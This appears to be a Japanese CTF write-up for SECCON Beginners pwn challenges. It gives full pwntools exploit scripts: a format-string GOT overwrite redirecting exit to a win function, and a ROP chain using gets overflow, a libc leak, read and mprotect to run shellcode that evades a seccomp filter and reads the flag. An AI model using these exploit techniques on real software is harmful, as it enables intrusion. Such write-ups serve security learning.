[0x404038] fopen@GLIBC_2.2.5 -> 0x4010a6 (fopen@plt+6) ◂— push 7
[0x404040] exit@GLIBC_2.2.5 -> 0x4010b6 (exit@plt+6) ◂— push 8
└─< nm chall | grep win     
0000000000401341 T win

以下のように $hn で 2 バイトずつ書き込もうとするとローカルではうまく行くがサーバでは失敗する (出力する文字が長すぎて途中で打ち切られる?)

from pwn import *

binary_name = 'chall'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = 'pure-and-easy.beginners.seccon.games 9000'.split()

gdb_script = '''
b *0x000000000040133c
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

def calc_hn(objective_value, sum_bytes):
    r = objective_value - sum_bytes
    while r < 0:
        r += 0x10000
    return r, r + sum_bytes

addr_got_exit = 0x404040
addr_win = 0x0000000000401341

offset = 10

payload = b''

payload_bytes, sum_bytes = calc_hn((addr_win) & 0xffff, 0)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset}$hn'.encode()

payload_bytes, sum_bytes = calc_hn((addr_win >> 16) & 0xffff, sum_bytes)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset + 1}$hn'.encode()

payload += b' ' * (32 - len(payload))

payload += p64(addr_got_exit)
payload += p64(addr_got_exit + 2)

sla(b'> ', payload)
print(io.recvall())

No PIE なので,win 関数のアドレスは 3 バイトで,exit 関数も呼ばれていないので exit 関数の GOT も上位 5 バイトは 0 になっているので,3 バイトの書き換えのみで十分なので以下のスクリプトでいける.

from pwn import *

binary_name = 'chall'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = 'pure-and-easy.beginners.seccon.games 9000'.split()

gdb_script = '''
b *0x000000000040133c
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

def calc_hhn(objective_value, sum_bytes):
    r = objective_value - sum_bytes
    while r < 0:
        r += 0x100
    return r, r + sum_bytes

addr_got_exit = 0x404040
addr_win = 0x0000000000401341

offset = 11

payload = b''

payload_bytes, sum_bytes = calc_hn((addr_win) & 0xff, 0)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset}$hhn'.encode()

payload_bytes, sum_bytes = calc_hhn((addr_win >> 8) & 0xff, sum_bytes)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset + 1}$hhn'.encode()

payload_bytes, sum_bytes = calc_hhn((addr_win >> 16) & 0xff, sum_bytes)
payload += f'%{payload_bytes}x'.encode()
payload += f'%{offset + 2}$hhn'.encode()

payload += b' ' * (40 - len(payload))

payload += p64(addr_got_exit)
payload += p64(addr_got_exit + 1)
payload += p64(addr_got_exit + 2)

sla(b'> ', payload)
print(io.recvall().decode())

gachi-rop

author:Satoki
medium

そろそろOne Gadgetにも飽きてきた?ガチROPの世界へようこそ!

nc gachi-rop.beginners.seccon.games 4567

gachi-rop.tar.gz c8cb163daca67761d36d9410b6eb2d8bfa961c66

セキュリティ機構

└─< spwn                              
[*] Binary: gachi-rop
[*] Libc:   libc.so.6
[!] No loader

[*] file gachi-rop
ELF 64-bit LSB executable
x86-64
dynamically linked
not stripped
[*] checksec gachi-rop
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
Libc version: 2.35
[!] There are some dangerous functions:
gets system
[*] cwe_checker gachi-rop (press Ctrl+C to stop)
[CWE676] (0.1) (Use of Potentially Dangerous Function) main (0040127b) -> gets


[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id 962015aa9d133c6cbcfb31ec300596d7f44d3348 from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id 962015aa9d133c6cbcfb31ec300596d7f44d3348 on any debuginfod server.
[!] Failed to unstrip libc
[+] Downloading loader
[+] Extracting loader
[!] Possible seccomp found
[*] seccomp-tools dump ./debug_dir/gachi-rop < /dev/null
line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004  A = arch
0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000  A = sys_number
0003: 0x35 0x03 0x00 0x40000000  if (A >= 0x40000000) goto 0007
0004: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0007
0005: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
0007: 0x06 0x00 0x00 0x00050000  return ERRNO(0)

デコンパイルすると以下のようになっているので,BOF ができて canary もないので,ROP できる.

undefined8 main(void)
{
    undefined8 local_18;
    undefined8 local_10;
    
    install_seccomp();
    printf("system@%p\n",system);
    local_18 = 0;
    local_10 = 0;
    printf("Name: ");
    gets((char *)&local_18);
    printf("Hello, gachi-rop-%s!!\n",&local_18);
    return 0;
}

ただし,seccomp があるので execveexecveat が使えないため,flag のファイルを開いて出力させるところまでする必要がある.

system 関数のアドレスは教えてくれているので,libc のベースアドレスは判明している

└─< readelf -s -W ./libc.so.6 | grep " system@"             
    1481: 0000000000050d70    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

全部 ROP で行くのはできる気がしない (rax に入っている戻り値を動かしたりするのが大変っぽい) ので,シェルコードを配置した領域を mprotect で実行可能にして実行する.

from pwn import *

binary_name = 'gachi-rop'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = 'gachi-rop.beginners.seccon.games 4567'.split()

gdb_script = '''
b *0x00000000004012a1
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

addr_writable = 0x404000
offset_system = 0x0000000000050d70

addr_system = int(rl().decode().split('@')[-1], 16)
libc_base = addr_system - offset_system
loginfo(f'libc_base: {hex(libc_base)}')

rop_pop_rdi = libc_base + 0x000000000002a3e5
rop_pop_rsi = libc_base + 0x000000000002be51
rop_pop_rdx_r12 = libc_base + 0x000000000011f2e7

addr_read = libc_base + 0x00000000001147d0
addr_mprotect = libc_base + 0x000000000011eaa0

payload = b'A' * 0x10 + p64(1)

## read(0, addr_str_fname, 0x10) << "/flag.txt"
addr_str_fname = addr_writable + 0x100
payload += p64(rop_pop_rdx_r12)
payload += p64(0x10)
payload += p64(0)
payload += p64(rop_pop_rsi)
payload += p64(addr_str_fname)
payload += p64(rop_pop_rdi)
payload += p64(0)
payload += p64(addr_read)

## read(0, addr_shellcode, 0x400) << shellcode
addr_shellcode = addr_writable + 0x120
payload += p64(rop_pop_rdx_r12)
payload += p64(0x400)
payload += p64(0)
payload += p64(rop_pop_rsi)
payload += p64(addr_shellcode)
payload += p64(rop_pop_rdi)
payload += p64(0)
payload += p64(addr_read)

## mprotect(addr_shellcode, 0x400, 7)
payload += p64(rop_pop_rdx_r12)
payload += p64(7)
payload += p64(0)
payload += p64(rop_pop_rsi)
payload += p64(0x400)
payload += p64(rop_pop_rdi)
payload += p64(addr_writable)
payload += p64(addr_mprotect)

## exec shellcode
payload += p64(addr_shellcode)

sla('Name: ', payload)

pause()
sl(b'/flag.txt\x00')
pause()
shell_code = asm(f'''
{shellcraft.linux.open('/app/ctf4b/', 0)}
{shellcraft.linux.getdents64('rax', 'rsp', 0x1000)}
{shellcraft.linux.write(1, 'rsp', 0x1000)}
''')
shell_code = asm(f'''
{shellcraft.linux.openat(0, '/app/ctf4b/flag-40ff81b29993c8fc02dbf404eddaf143.txt', 0)}
{shellcraft.linux.read('rax', 'rsp', 0x60)}
{shellcraft.linux.write(1, 'rsp', 0x60)}
''')
sl(shell_code)

interact()
5
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
5
3